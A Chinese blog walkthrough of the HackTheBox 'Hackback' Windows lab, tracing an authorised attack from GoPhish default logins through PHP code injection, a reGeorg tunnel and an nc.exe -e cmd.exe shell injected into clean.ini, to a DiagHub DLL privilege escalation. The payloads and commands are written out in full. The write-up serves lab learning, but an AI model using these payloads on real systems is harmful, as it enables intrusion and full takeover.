No.82-HackTheBox-windows-Hackback-Walkthrough渗透学习

**

HackTheBox-windows-Hackback-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/176
靶机难度:疯狂(6.5/10)
靶机发布日期:2019年5月29日
靶机描述:
Hackback is an insane difficulty Windows box with some good techniques at play. A GoPhish website is discovered which leads us to some phishing vhosts. While fuzzing for files a javascript file is discovered which is rot13 encoded. It contains sensitive information about an admin page which leads to RCE vulnerability. PHP disabled_functions are in effect, and so ASPX code is used to tunnel and bypass the firewall.
Enumeration of the file system leads to a code injection vulnerability in a configuration file, from which named pipe impersonation can be performed. Enumeration reveals that the user has permissions on a service, which allows for arbitrary writes to the file system. This is exploited to copy a DLL to System32, and triggering it using the DiagHub service to gain a SYSTEM shell.

作者:大余
时间:2020-04-02
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.128…
在这里插入图片描述
IIS在端口80上运行,而未知服务在端口6666上运行HTTPAPI,它允许应用程序之间进行HTTP 2.0通信,端口64831也开放着…在这里插入图片描述
应该是一头驴…应该不是马把…
gubuster爆破目录没发现有用的…
在这里插入图片描述
80信息收集没有用的,转到了http 2 的6666端口上…
访问发现报错…让我们尝试某些命令…试试
在这里插入图片描述
命令:curl http://10.10.10.128:6666/whoami --http2
嗯,可以看到它以NT authority \ network service等信息作为响应的,/whoami列出了有关运行此服务的用户的信息…
在这里插入图片描述
list列出了目录存在的文件…
help帮助查看可以利用的命令都列举出来的…
在这里插入图片描述
在这里插入图片描述
针对端口搜索了下…
netstat发现了所有开放的端口,135.139.445.3389.6666.5985端口等等都运行着…
这里卡了一会…能查询到的信息,还是没暴露出可用的…
在这里插入图片描述
http的64831也没啥信息…
在这里插入图片描述
https的64831发现这是一个站点,还是GoPhish的登陆页面…Gophish是一个开放源代码的网络钓鱼框架…
在这里插入图片描述
在这里插入图片描述
可以看到搜索GoPhish页面,找到了默认的登陆账号密码:Username: admin Password: gophish
在这里插入图片描述
成功登陆进来了…这里还google登陆了,火狐不稳定登陆这个页面
在这里插入图片描述
可以看到在模板下,存在5封邮件模板…
在这里插入图片描述
这里发现了一个页面…子域名…
另外四个模板下,都存在了不同的钓鱼页面…添加到DNS都能访问,但是只有admin是子域名形式…
在这里插入图片描述
经过登陆admin.hackback.htb子域名应该是可利用的…往这走下去…
在这里插入图片描述
在这里插入图片描述
密码重置和注册页面都是404…查看下前端源码…
在这里插入图片描述
前端源码js/js,底层可能存在js的文件…爆破看看
在这里插入图片描述
命令:gobuster dir -u http://admin.hackback.htb/js/ -w /usr/share/wordlists/dirb/common.txt -x js
发现了private.js,去看看
在这里插入图片描述
又是404???
在这里插入图片描述
提示:您正在寻找的资源可能已被删除,名称已更改或暂时不可用。
在这里插入图片描述
通过查看js目录…private.js文件包含一些混淆的javascript…注意到该ine x=模式在源代码中重复了几次…
ine它是var的rot13编码的字符串…进行转码试试
在这里插入图片描述
是成功转码的…https://rot13.com/
在这里插入图片描述
https://beautifier.io/
通过beautifier.io解码script信息…
这里只需要读取x z h y t s i k w即可
在这里插入图片描述
F12打开浏览器JavaScript的控制台,将变量复制进去,输出即可…
为了安全登陆绕过行为,存在一个秘密目录/2bb6916122f1da34dcd916421e531578,找到该目录后应该含有注入?action…
该目录应允许我们访问,当我尝试访问该目录时,我得到了302重定向而不是404重定向,因此知道这是一个有效目录…(重定向到了登陆页面)
在这里插入图片描述
爆破发现了存在/webadmin.php文件…去看看
在这里插入图片描述
这里在浏览器很麻烦,开始利用burp suit,发现又重定向到了302…
回看JavaScript…获得的信息
在这里插入图片描述
?action=show&site=hackthebox&password=&session=
?action=list&site=hackthebox&password=
&session=
?action=exec&site=hackthebox&password=&session=
?action=exec&site=hackthebox&password=
&session=
四种针对hackthebox进行注入组…
只有第二组和第三组有数据返回…
在这里插入图片描述
在这里插入图片描述
Wrong secret key!和Missing command…
提示错误的密匙和缺少了命令…缺少命令先不管…因为给的信息就这么多…密匙不对,可以找…
在这里插入图片描述
https://github.com/danielmiessler/SecLists
这里利用SecLists集成文本,感谢麻省理工的大佬们!!
在这里插入图片描述
命令:wfuzz -c -w darkweb2017-top1000.txt --hw 0 --hh 17 'http://admin.hackback.htb//2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=FUZZ&session='
利用wfuzz爆破获得12345678密码,marine无长度,先不管…
在这里插入图片描述
虽然还是302,但输出信息了:e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log
这里尝试修改了很多地方…但是返回的不是命令错误,302输出的信息…
这只单单是admin.hackback.htb子域名的登陆页面获取了以上信息…
继续对Gophish五大模块中获得到的域名进行分析…
www.hackthebox.htb
www.twitter.htb
www.paypal.htb
www.facebook.htb
这四个域名都添加到DNS…
在这里插入图片描述
先分析第一个…
在这里插入图片描述
在这里插入图片描述
可以看到,当我在www.hackthebox.htb的页面输入用户名密码…在之前的注入中都能显示出来…
测试后,只有show+session才可以显示出来…
这里list和show都是php中的命令…这里进行了php注入的测试…
emile输入:<?php echo "dayu"; ?>
password输入:<?php echo "dayu123"; ?>
在这里插入图片描述
说明存在php注入,可以利用php进行写入和读取…测试看看
在这里插入图片描述
当我在www.hackthebox.htb页面passwd输入:<?php echo print_r(scandir($_GET['dir'])); ?>
输出的是dir查询到本目录下存在的文件信息…可以读取…继续测试写入
利用file_put_contents在目标上写入文件…
在这里插入图片描述
在这里插入图片描述
在password输入:<?php $f = "ZGF5dSBkYXl1IGhlbGxvCg=="; file_put_contents("dayu.txt", base64_decode($f)); ?>
已经成功写入了该文件…
继续输入:<?php include($_GET['file']);?>
在这里插入图片描述
可以看到…读取了文本的刚写入的信息…
在这里插入图片描述
命令:<?php print_r(scandir('..')); ?>
返回上一目录查看,web.config和web.config.old查看下…
在这里插入图片描述
命令:<?php echo file_get_contents('../web.config.old'); ?>
userName=simple
password=ZonoProprioZomaro:-(
发现了用户名密码…

二、提权

测试结果可以读取可以写入…而且内容需要base64才可以写入…
这里的思路是,找到可写入的文件,或者自己写shellcode进行提权即可…
可以知道前面5985端口运行着,可以使用winrm进行登陆…
**
https://github.com/sensepost/reGeorg
在这里插入图片描述
跟着步骤走即可…
在这里插入图片描述
编译tunnel.aspx为base64
命令:<?php file_put_contents("tunnel.aspx",base64_decode("base64值")); ?>
在这里插入图片描述
结果很好,隧道建立了
在这里插入图片描述
在这里插入图片描述
这里出了点错误…问题不大
很好,建立了链接…
https://github.com/Alamot/code-snippets/tree/master/winrm
这里使用winrm的winrm_shell_with_upload.rb来写EXP即可…
wget https://github.com/Alamot/code-snippets/raw/master/winrm/winrm_shell_with_upload.rb 下载即可
开始写入EXP即可…
这里需要:
userName=simple
password=ZonoProprioZomaro:-(
在这里插入图片描述
开始开始,这里有点坑…
1.记得是https改成http…
2.账号记得加hackback不然链接补上…
3.urllib3库完整性问题
这里坑了我点时间…不过也算熟悉了
在这里插入图片描述
成功连接…
在这里插入图片描述
此脚本包含恶意内容,已被您的防病毒软件阻止…
在这里插入图片描述
在这里插入图片描述
查看了防火墙,默认为禁止进出,制定了两个规则,在两个位置允许ping和使用三个端口…都没启用出口流量限制…
这里本来是可以利用proxychains3 winrm_shell_with_upload.rb进行upload的,因为winrm具有UPLOAD下载功能,winrm_shell_with_upload的RB中针对winrm的upload写了EXP代码,但是我无法执行!!!目前还在找原因…只能用老版本winrm_shell.rb进行连接,如果用upload直接就能用NC反弹个shell即可…
继续在内部找漏洞吧!!!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到clean.ini 定义了三个变量,这里有隐藏文件dellog.bat,它会随着batch.log开始和停止时间进行更新运行dellog.ps1,然后循环遍历所有bat文件并运行…
这里只需要将nc执行反向shell的命令写入clean.ini即可…
在这里插入图片描述
这里我将proxychains winrm_shell.rb改成了proxychains3 upload,遇到了几个问题…实在无法解决,通过ippsec解决了问题,感谢大佬!
成功上传NC…
在这里插入图片描述
命令:

echo [Main] > C:\util\scripts\clean.ini
echo LifeTime=100 >> C:\util\scripts\clean.ini
echo "LogFile=c:\util\scripts\log.txt & cmd.exe /c C:\windows\system32\spool\drivers\color\nc.exe -lvp 8888 -e cmd.exe" >> C:\util\scripts\clean.ini
echo "Directory=c:\inetpub\logs\logfiles" >> C:\util\scripts\clean.ini

等待几分钟…成功获得了反向外壳…
在这里插入图片描述
方然还可以这么提权…但是获得的shell会快很多,但是无法进入hacker…还是得回到前面的方法…
在这里插入图片描述
成功获得了user信息…
在这里插入图片描述
在查看系统时,发现一个无法识别的服务正在运行着…UserLogger.exe
在这里插入图片描述
在这里插入图片描述
Description表示它负责记录用户活动,我尝试用以下方式启动该服务,可以看到它被允许启动和停止服务…
开始进行测试,创建了一个测试文件test.txt然后重新启动了服务,通过附加.log到我给的路径并保存在那里,读取创建了日志…
**F:**可以看到日志文件的权限是完全打开的,并且可以更改内容…

方法1:

可以利用:删除.log文件,进行直接查看root信息
在这里插入图片描述
想法是可行的,直接开始
在这里插入图片描述
已经在desktop下创建了root.txt文件…
在这里插入图片描述
有效果的,复制出来了…
在这里插入图片描述
成功查看了root…是个图像…
wget https://docs.microsoft.com/en-us/sysinternals/downloads/streams
在这里插入图片描述
这里将利用Streams查看desktop底层数据信息流,上传即可… (前面几章也讲过类似的底层查看数据流)
也可以利用powershell查看数据流…但需要进入desktop目录…所以这是在管理员权限下利用的…
在这里插入图片描述
成功上传…
在这里插入图片描述
命令:c:\windows\system32\spool\drivers\color\streams.exe -accepteula root.txt
.log是UserLogger生成的,所以只需要查看flag.txt即可…成功获得了root真实信息…
**

方法2:

2018年4月,谷歌的项目发布了一篇文章Windows漏洞利用技巧:利用任意文件写入来提升本地特权。
这是一个漫长而复杂的文章,它涉及几个有趣的漏洞,但与如何从任意写入中获取SYSTEM的论点相类似,这篇文章中的TL和DR是DCOM公开DiagHub的服务,可以指示该服务从system32系统内部加载dll ,实际上,在执行此加载操作时,它无需检查文件的扩展名即可执行此操作。因此只要可以将dll写入system32,就可以要求DiagHub为此加载它…
**
一个更著名的例子是Sandbox Escaper的ALPC漏洞,该漏洞利用了用户调用高级本地过程调用(ALPC)端点以更改文件权限的能力C:\Windows\tasks\UpdateTask.job,该文件默认情况下不存在,用户可以将其创建为与其他文件相关联的硬链接,并获得写访问权限。在原始POC中,作者方法是重写printconfig.dll,然后使用假脱机服务来调用它。但是RealOriginal在GitHub上有一个poc,它使用现已打补丁的漏洞利用\windows\system32\license.rtf进行dll覆盖,然后使用DiagHub调用它…
github:https://github.com/realoriginal/alpc-diaghub
这里将利用realoriginal/alpc-diaghub的源码进行提权,我不是开发出身,只有能力利用了…谢大佬

**
这台靶机已经把以上的方法都修补了…但是靶机存在UserLogger可以利用写入SYSTEM32,创建.log,并创建恶意DLL覆盖到.log内,然后调用DiagHub进行加载执行shellcode,从而提权…

**
制作恶意dll,需要环境:
https://github.com/decoder-it/diaghub_exploit —下载源代码
https://blog.csdn.net/liubing8609/article/details/82695402 —安装visual studio 2017 进行制作恶意dll…
记得本靶机已经存在Applocker应用控制策略,限制了大部分代码执行,开始吧…
在这里插入图片描述
利用diaghub_exploit打开后,将diaghub_exploit生成,出错了…找不到SDK版本选择10.0.17134.0…
在这里插入图片描述
选择属性,出来界面SDK版本选择17763即可…
在这里插入图片描述
Fakedll–属性,也要选择17763…
在这里插入图片描述
diaghub_exploit–生成,成功生成了项目…
在这里插入图片描述
Fakedll重新生成库…成功生成…
在这里插入图片描述
修改,重新生成即可…这里提示的是写入的恶意shellcode的.bat文件,需要执行的目录环境…
在这里插入图片描述修改,重新生成即可…同理上
在这里插入图片描述
在release目录找到前面成功生成的两个项目文件…dia…exploit.exe和FakeDll.dll…
在这里插入图片描述
简单的一句话shell…
在这里插入图片描述
利用proxychain的tunnel进行上传三个文件至color即可…(这里存在小坑!)
在这里插入图片描述
可看到UserLogger生成的dayu.log文件byte58,当copy过来后增长了…这是查看是否copy成功…
在这里插入图片描述
可以看到这里遇到了很多坑…我做了不下5次,创建了很多exe和dll去反复填坑测试…遇到的坑我非常开心,都填满了…
这里执行即可…
然后查看端口服务是否开启…8888端口成功启用了…
在这里插入图片描述
proxy nc成功监听获得了反向外壳…system管理员权限!
在这里插入图片描述
这里按照方法1,我们已经知道含有数据流的坑…前面也说了不需要利用stream.exe即可查看…
利用powershell自带功能,查看到了root文本位置…
在这里插入图片描述
查看即可…还是一头驴…
在这里插入图片描述
前几篇文章也演示过powershell可以通过/a /r查看底层数据量…
成功获得root,flag信息…

通过UserLogger的可写可读利用,我相信这里还有很多种更简洁的方法可以利用…期待
这里感谢ippsec大佬的帮助,在proxychain3 ruby xxx.rb这儿我卡了整整大半天,是因为gem的问题导致的…

这又是一篇非常难的靶机,由于HTB卡的问题,我都是凌晨大晚上才操作…应该是反复做了7遍…
非常舒服,提升也很大,加油!!

这里推荐一个ippsec讲解的AppLocker Bypass COR Profiler绕过漏洞视频,我看完了,很NICE…
https://www.youtube.com/watch?v=T91iXd_VPVI --AppLocker Bypass COR Profiler ippsec

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台疯狂的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值